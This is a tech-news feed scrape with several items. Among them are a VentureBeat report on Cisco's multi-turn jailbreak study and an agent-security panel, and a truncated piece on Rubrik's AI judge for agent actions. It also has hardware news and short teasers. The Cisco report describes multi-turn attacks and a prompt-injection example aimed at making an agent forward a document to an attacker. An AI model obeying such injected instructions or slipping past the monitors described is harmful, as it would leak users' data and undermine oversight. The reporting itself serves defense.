<content:encoded><![CDATA[In den USA steht Angehörigen des Militärs die KI-Plattform Ask Sage zur Verfügung, für die ein Jahresbudget von 100 Millionen Token angeschafft wurde. Doch das war nach wenigen Wochen aufgebraucht – woran das Militär nicht ganz unschuldig ist.<a href="https://t3n.de/news/us-militaer-ki-jahreskontingent-1754564/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[the PERFECT Raspberry Pi wall dashboard?]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 319x - Views:3894 This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it...]]></description>
<link>https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</guid>
<pubDate>Thu, 23 Jul 2026 20:49:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 319x - Views:3894 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/34D1imLordU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee<br />
<br />
Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.<br />
<br />
In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.<br />
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🏠 Home Assistant: https://www.home-assistant.io/<br />
🖥️ Proxmox: https://www.proxmox.com/<br />
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2:48 - It powered on and nothing happened<br />
3:16 - The fix: updating your Raspberry Pi 5 firmware<br />
5:55 - Building the Home Assistant dashboard with TouchKio<br />
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[You Didn’t Get the AI Model You Paid For]]></title>
<description><![CDATA[The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and ...]]></description>
<link>https://tsecurity.de/de/3689968/ai-nachrichten/you-didnt-get-the-ai-model-you-paid-for/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689968/ai-nachrichten/you-didnt-get-the-ai-model-you-paid-for/</guid>
<pubDate>Thu, 23 Jul 2026 20:24:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and was handed to a different set of weights entirely. Anthropic […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/you-didnt-get-the-ai-model-you-paid-for/">You Didn’t Get the AI Model You Paid For</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Experts have found a trojan able to rig online live betting platforms]]></title>
<description><![CDATA[A company building betting software was targeted with a rather sneaky trojan.]]></description>
<link>https://tsecurity.de/de/3689908/it-nachrichten/experts-have-found-a-trojan-able-to-rig-online-live-betting-platforms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689908/it-nachrichten/experts-have-found-a-trojan-able-to-rig-online-live-betting-platforms/</guid>
<pubDate>Thu, 23 Jul 2026 20:05:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A company building betting software was targeted with a rather sneaky trojan.]]></content:encoded>
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<title><![CDATA[AMD × Cerebras: Helios trifft Wafer-Scale Engine für ultraschnelle Token-Generierung]]></title>
<description><![CDATA[Es ist eine Ankündigung, die keiner auf der Bingo-Karte hatte: AMD kooperiert mit Cerebras für eine Ultra-Low-Latency-Inference-Datacenter-Struktur. Dafür wird das neue AMD-Helios-Rack mit Cerebras Wafer-Scale Engine gepaart, was zu einer fünf Mal höheren Anzahl an Tokens pro Sekunde pro Watt füh...]]></description>
<link>https://tsecurity.de/de/3689882/it-nachrichten/amd-cerebras-helios-trifft-wafer-scale-engine-fuer-ultraschnelle-token-generierung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689882/it-nachrichten/amd-cerebras-helios-trifft-wafer-scale-engine-fuer-ultraschnelle-token-generierung/</guid>
<pubDate>Thu, 23 Jul 2026 19:47:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/9/3/5-cb1d591f59add0b9/article-640x360.9e8b5765.jpg"><p>Es ist eine Ankündigung, die keiner auf der Bingo-Karte hatte: AMD kooperiert mit Cerebras für eine Ultra-Low-Latency-Inference-Datacenter-Struktur. Dafür wird das neue AMD-Helios-Rack mit Cerebras Wafer-Scale Engine gepaart, was zu einer fünf Mal höheren Anzahl an Tokens pro Sekunde pro Watt führen soll. Noch 2026 geht es los.</p>]]></content:encoded>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI 